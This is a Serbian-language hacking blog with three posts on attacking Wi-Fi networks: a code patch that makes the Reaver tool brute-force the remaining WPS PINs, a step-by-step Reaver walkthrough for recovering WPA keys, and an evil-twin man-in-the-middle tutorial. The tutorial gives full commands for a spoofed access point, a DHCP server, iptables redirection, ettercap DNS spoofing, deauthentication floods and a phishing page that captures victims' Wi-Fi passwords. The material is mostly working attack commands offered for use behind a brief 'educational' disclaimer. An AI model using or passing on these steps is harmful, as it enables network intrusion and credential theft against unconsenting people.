Friday, November 2, 2012

Reaver 1.4 bugs

Pre nekoliko meseci sam objavio blog o novom programu za dobijanje WPA šifre, koji se pokazao kao izuzetno dobro rešenje. Ispitivajući pomalo šta je ovaj program sve u mogućnosti da uradi došao sam do problema koji muči dosta ljudi i rešio sam da objavim ovo saznanje u ovom blogu.

Problem koji muči dosta ljudi je taj da posle nekog vremena reaver 1.4 dođe do 99.99% i krene da ponavlja jedan te isti PIN, upadne u beskonačnu petlju. Ovaj problem se manifestuje jer je reaver uradio sve moguće kombinacije koje poznaje i nije našao pravi PIN. Imamo dva uzroka koji dovode do ovoga. Prvi uzrok je taj da ukoliko je PIN recimo 01234567, gde su prvih 7 cifara uzastopni brojevi a poslednja cifra za proveru (checksum) reaver ce se proveravati 10^7 kompinacija a ne 10^8. Ali šta ako se pin krije u onih 9000 kombinacija koje nisu proverene?
Da bi se ovaj problem rešio potrebno je izvršiti male modifikacije u fajlu src/pins.c.

Pretpostavke:
 1. ruter/AP prihvata WPS pakete i neodgovara stalno sa timeout-om i
 2. poznate su prve 4 cifre PIN-a.

Objašnjenje za pretpostavku 2.
Prve 4 cifre će te dobiti tako što pustite reaver 1.4 da odradi posao i ukoliko dođe do toga da se vrti u krug na 99.99%, te 4 cifre su vam 4 cifre PIN-a kojeg vrti u krug.

Potrebno je prvo kopirati postojeci fajl na neku sigurnu lokaciju kako bi ste bili u mogućnosti da vratite reaver na default verziju. Otvoriti pomenuti (ne kopirani) fajl u nekom text editor-u. Nakon toga ispod linije
 
#include "pins.h"
 
zameniti prvu funkciju *build_wps_pin() sa modifikovanom prikazanom ispod:
 
/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
  
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
    
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

  if(exhaustive_last_digit==0)
  {
   if(exhaustive_index==999)
   {
    cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
    /* Clean up and get out */
    globule_deinit();
    exit(EXIT_FAILURE);   
   }
   exhaustive_index++;
   exhaustive_last_digit=9;
  }else{
   exhaustive_last_digit--;
  }
        }

        return pin;
} 

Sačuvajte fajl. Nakon izvršenih promena, izbrišite instaliranu verziju reaver-a koristeći sledeće komande. Terminal otvorite iz /src foldera.

Komande:
./configure
make distclean 

Nakon toga instalirajte verziju sa modifikovanim pins.c fajlom koristeći sledeće komande (i dalje ste u istom terminalu i folderu) :

./configure
make
make install  


Nakon toga pokrenite reaver ponovo ali sa dodatnom opcijom -p xxxx ili --pin xxxx gde su xxxx prve 4 cifre dobijene prema gore pomenutom objašnjenju.

Ukoliko i taj napad bude neuspešan onda se dogodilo nešto što se desilo i nama prilikom testiranja. Naime reaver 1.4 je prvo pokušao PIN 12345670 i odmah pokazao da je na 90%, što će reći da su prve 4 cifre 1234. Pustili smo ga da radi do kraja iako smo znali da to nije tačan PIN. Reaver 1.4 se zaglavio u beskonačnoj petlji na 99.99%. Nakon toga pokrenuli smo verziju reaver-a 1.3 i dobili tačan PIN i PSK posle 5 sati. Razlog ovog bug-a nam još uvek nam nije poznat ali prepostavljamo da ima veze sa vrstom rutera, jer je to bilo samo kod jedne vrste ADSL rutera. Dakle ukoliko ne dobijete rešenje prvom metodom probajte metodu korišćenja verzije 1.3.

Monday, July 2, 2012

Crack WPA using WPS

Da moguće je. Od pre nekoliko meseci pronađen je još jedan način kako da se "obije" WPA šifra, odnosno konačno je nadjen smisao za eksploatisanje slabosti kod router-a i AP-ova kada je u pitanju Wi-Fi Protected Setup. WPS je u stvari jedan jednostavan način za povezivanje vife uređaja putem Wi-Fi-a jednim klikom na dugme. Kod TP-Link-ovih korisnika ova opcija je poznatija kao QSS (Quick Security Setup). Dakle ekspoatisanjem ove opcije može se doci do PSK. Da bi metoda radila potrebno je da na router-u ili AP-u bude omogucena opcija WPS/QSS.

Alat koji se za ovo koristi je Reaver 1.4 koji možete preuzeti na sledećem linku (download reaver 1.4)

Operativni sistemi koji su korišćeni prilikom testa su BT4 i BT5.

Postupak je isti kod oba OS-a, sa tim što kod BT4 nije radila opcija skeniranja mreža sa WPS/QSS enabled (opcija walsh)

Posle pokretanja OS-a i download-a reaver skripte potrebno ju je instalirati na sledeći način:

Otpakujte arhivu, otvorite src folder i u okviru njega otvorite terminal. U terminalu unesite sledeću komandu:

./configure && make && make install

Sada će se reaver instalirati i sve podesiti, sačekajte par sekundi.
Ako je instalacija uspela sada možete preći na korišćenje skripte. Za to je potrebno uraditi neke pripreme a to su:

1.  Prebacivanje wirelles adaptera u monitor mode (airmon-ng start wlan0),
2.  Skeniranje mreža:
    a) BT4  (airodump-ng mon0)
    b) BT5  (airodump-ng mon0 ili koristiti walsh program unutar src direktorijuma reaver skripte walsh -i mon0)
3. Potreban je BSSID mreže koja se napada.

Kada ste prikupilu potrebne informacije možete preći na konkretan posao.

reaver -i mon0 -b BSSID -vv

-vv znači da ispisuje šta sve radi kako bi imalu uvid u rad skripte, bez ovoga ispisuje samo postotak do kog je stigao.

u slučaju se iznova i iznova ponavlja jedan te isti pin od samog početka (error code 0x02 i 0x03) proverite da li ste predaleko od AP-a/router-a, ukoliko to nije slučaj koristite sledeću komandu


reaver -i mon0 -b BSSID -vv  - -no-nacks

Opciono možete koristit i opcije "-c kanal" za automatsko fiksiranje na kanal na kom je AP/router i još jedna od često korišćenih opcija je "-session=path" koja omogućava da se sačuva trenutni napredak za kasniju upotrebu ukoliko morate prekinuti napad.

Ukoliko ste sve odradili kako treba videće te kako polako ali sigurno napredujete ka otkrivanju PSK mreže. Što se tiče vremena potrebno je od 4 do 10 sati zavisno od udaljenosti. U našem slučaju udaljenost je bila svega 5 metara i vreme je bilo 4 sata i 15 minuta.

Eto to je bila kratka analiza ove nove i moćne skripte, tačnije programa. Nadam se da će vam se svideti, i ukoliko ima nekih pitanja slobodno ih ostavite u komentarima ispod. Sve ovo je samo u edukativne svrhe i nikako ne bi trebalo upotrebljavati protiv mreža nad kojima nemate vlasništvo niti saglasnost o testiranju ovog napada.



MITM (Man In The Middle)

Posle velikog broja pročitanih stranica o ovoj vrsti napada na wireless mrežu odlucio sam da napišem kompletan blog o teoriji ovog napada kao i detaljan opis praktičnog delovanja, naravno ovo se odnosi samo na korišćenje u eksperimentalne i čisto edukativne svrhe i kao takav je i izveden.

Teorija
Pretpostavimo da imamo ruter čiji je BSSID 00.11.22.33.44.55, ESSID je TEST_RUTER i radi na kanalu 1 a enkripcija lozinke može biti bilo koja od trenutno aktuelnih WEP, WPA, WPA2 i ozačimo ga sa R. Dalje imamo računar koji je bežično povezan na gore pomenuti ruter i za kojeg nije potrebno poznavati niti mek adresu niti IP adresu niti bilo koji podatak osim podatka da je konektovan, a ako je konektovan znači da osoba koja radi za tim računarom poznaje šifru za povezivanje na ruter. Označimo ovaj računar sa A.
Naš računar (u daljem tekstu B) koji će obavljat ceo proces MITM napada treba da ima wireless karticu i da je u dometu i računara i rutera. Kako znati kada smo u dometu oba? biće objašnjeno u praktičnom delu. Sama rečenica Man In The Middle (Čovek u sredini) govori da nešto mora da se nalazi između rutera i konektovanog računara, a to nešto je upravo računar B. Pa kako računar B može da se nalazi između i šta to praktično znači? To znači da računar B treba da glumi odnosno da se pretvara da je on ruter i to dovoljno ubedljivo da bi računar A poverovao da je računar B u stvari ruter R i da se nakači na računar B. Da bi računar A poverovao da je računar B ruter R potrebno je da računar B ima sve karakteristike rutera R a to su: isti BSSID, ESSID i kanal što znači da računar B mora da radi kao ruter R. Primer rada wireless kartice kao ruter jeste jednostavna LAN Wireless mreža. Da bi se računar A konektovao na računar B potrebno je diskonektovati računar A sa rutera R i konektovati ga na računar B. Dakle rezime teorije glasi: Imamo ruter na koji je povezan računar i mi kreiramo računar da radi kao ruter sa istim karakteristikama kao pravi ruter, diskonektujemo metu-računar sa pravog rutera i preusmerimo ga na naš računar. Nadam se da je koliko toliko jasan koncept i sada možemo preći na praktični deo.

Praktični deo
Pokrenemo BackTrack 4, otvorimo prvi shell i u njemu kucamo sledeće komande:
1. airmon-ng  -  komanda služi da bi izlistala sve trenutne interfejse. U ovom slučaju su već kreirana dva interfejsa mon0 i mon1 ali to ne treba da vas buni ako vam ispiše samo wlan0 jer je to u redu.

2. airmon-ng stop wlan0 - komanda služi da zaustavi wireless interfejs kako bi imali pristup podesavanju istog. Videćete da je uspešno izvršena komanda tako što će u zagradi pisati (monitor mode disabled).


3. macchanger --mac 00:11:22:33:44:55 wlan0 - komanda služi da bi se zamaskirala prava mac adresa i postavila mac adresa po želji.
4. airmon-ng start wlan0 - komanda služi da se interfejs wlan0 postavi u monitor mode (monitor mode enabled on mon2. Napomena: ukoliko vam je izlistano pomocu airmon-ng komande samo wlan0 onda će pisati monitor mode enabled on mon0).


5. airodump-ng wlan0 - komanda služi da se izvrsi skeniranje mreža u okolini kao i klijenta u blizini koji su nakačeni na mrežu.


Nakon pokretanja ove komande u shell-u će se ispisati nešto slično ovome:


Pošto uočite da je izlistana mreža kao i prikazan klijent koji je nakačen na tu mrežu možete pritisnuti CTRL+C za prekid skeniranja. Nakon toga kopirajte BSSID mreže, kanal (CH) na kom mreža radi kao i ESSID mreže. Posle toga kopirajte i mac adresu računara koji je konektovan na tu mrežu (STATION). Sada imamo sve potrebne podatke za izvodjenje MITM.

MITM
Sada ćemo analizirati šta je sve potrebno za uspešno pokretanje Ewil Twin AP odnosno za kreiranje identičnog rutera sa naše wireless kartice.
Prvo je potrebno podesiti ettercap.
1. /usr/share/ettercap/etter.dns  (PODEŠAVANJE UKLJUČENO U SKRIPTU)
U ovom fajlu je potrebno izvršiti sledeće promene:

Ispod ovih linija:
# microsoft sucks ;)
# redirect it to www.linux.org

Dodati sledeće:
*  A  10.0.0.1
*  A  10.0.0.1
*  PTR 10.0.0.1
ovo je podešavanje DNS servera na našem računaru. Sačuvati promene i zatvoriti.

2. /usr/etc/etter.conf (PODEŠAVANJE UKLJUČENO U SKRIPTU)
Uovom fajlu ispod linija:
#---------------
#     Linux
#---------------
potrebno je skloniti komentar (#) ispred linija obojenih plavo

# if you use ipchains:
#   redir_command_on = \"ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport\"
#   redir_command_off = \"ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport\"


# if you use iptables:
#   redir_command_on = \"iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport\"
#   redir_command_off = \"iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport\"
ukoliko je vec sklonjen znak za komentar ne dirati ništa. Sačuvati promene i zatvoriti.

3. DHCP (PODEŠAVANJE UKLJUČENO U SKRIPTU)
mkdir -p "/pentest/wireless/airssl"
echo "authoritative;
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name "\"$ESSID\"";
option domain-name-servers 10.0.0.1;

range 10.0.0.20 10.0.0.50;

}" > /pentest/wireless/airssl/dhcpd.conf

Ovo služi za kreiranje DHCP servera koji će računarima koji se kače na naš računar dodeljivati IP adrese u domenu od 10.0.0.20 do 10.0.0.50 sa Gateway 10.0.0.1.

4. Fake AP - Ewil Twin AP (PODEŠAVANJE UKLJUČENO U SKRIPTU)

ifconfig $fakeap_interface down
macchanger --mac $BSSID $fakeap_interface
ifconfig $fakeap_interface up
xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c "$channel" -e "$ESSID" $fakeap_interface  & fakeapid=$!

Ove komande rade sledeće: prvo ide promena mac adrese na mac adresu AP koji kopiramo, a zatim i pokretanje AP-a sa našeg računara u posebnom prozoru.

5. Table za prosleđivanje (PODEŠAVANJE UKLJUČENO U SKRIPTU)

ifconfig lo up
ifconfig at0 up &
sleep 1
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 80
 Table za prosleđivanje omogućuju da se svaka stranica odnosno svaki URL unesen u browser prosledi na stranicu u appache serveru na našem računaru, što znači da će mu biti prikazana naša custom stranica gde god da pokuša da ode.

6. Pokretanje DHCP (PODEŠAVANJE UKLJUČENO U SKRIPTU)
touch /var/run/dhcpd.pid
chown dhcpd:dhcpd /var/run/dhcpd.pid
xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!
Komande za pokretanje DHCP servera u novom prozoru.

7. Pokretanje Ettercap-a (PODEŠAVANJE UKLJUČENO U SKRIPTU)
xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -P dns_spoof -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!
Komanda za pokretanje ettercap-a i uključenje plugin-a dns_spoof  koji ce preusmeriti svaki URL na našu stranicu.

8. Appache


U folder /var/www potrebno je kopirati fajl WPAPhish.tar.gz i raspakovati ga u tom folderu, u ovom fajlu se nalazi custom stranica.

Napomena : ovo je potrebno uraditi pre pokretanja skripte.

echo \"$ESSID\" > /var/www/essid.txt
Komanda služi da se u fajl essid.txt upiše ESSID mreže koju kopiramo. Potrebno je radi ubedljivije stranice.

9. Čekanje
Kada se skripta pokrene potrebno je još izvršiti deautentifikaciju korisnika nakačenih na pravi AP. To ostvarujemo sledećom komandom koju treba kucati u novom shell-u:

aireplay-ng -0 1000 -a BSSID -c  wlan0
gde je BSSID mac adresa pravog AP-a. Ovom komandom mi blokiramo pravi AP, a meta-računar prepozna naš računar kao pravi AP.
Sada je ostalo samo čekati da se korisnikov računar nakači na naš server.
U prozoru gde je DHCP će te videti kada se računar nakači, a u ettercap prozoru će te videti koji URL je korisnik uneo u svoj browser. Tada će te znati da mu se pojavila naša custom stranica i potrebno ga je još malo pustiti da unese šifru za konektovanje na mrežu. Tu šifru koju je uneo možete videti u fajlu credentials.txt koji se nalazi na lokaciji /var/www/. Kada ste videli da je šifra unesena, možete ugasiti skriptu tako što će te ukucati y i zatim pritisnuti ENTER.

10. Konektovanje

Sada se možete vratiti u windows i konektovati se na mrežu a korisnikov računar, kada detektuje da je mreža nedostupna, će ponovo skenirtati mreže naći pravi AP koji je sada odblokiran i nakačiti se na njega.

Custom stranica
stranica je izrađena tako da detektuje korisnikov pretraživač i OS i zavisno od očitanog plasira odgovarajuću stranicu i pop-up upit za unos šifre. Trenutno dostupne stranice su ya: Mozila, IE i Chrome a OS: Windows 7 i XP.  Naravno možete i sami dodati stranice za druge.
U prozoru za unos šifre primetiće te da piše da je mreža GOOGLER. To je samo radi testa a pravo ime će se pojaviti posle gore pomenute komande koja vrši upis ESSID-a u fajl essid.txt.

a) Mozila / XP



b) Mozila / Win 7



c) IE / XP 



d) IE /Win 7



e) Chrome / XP



e) Chrome / Win 7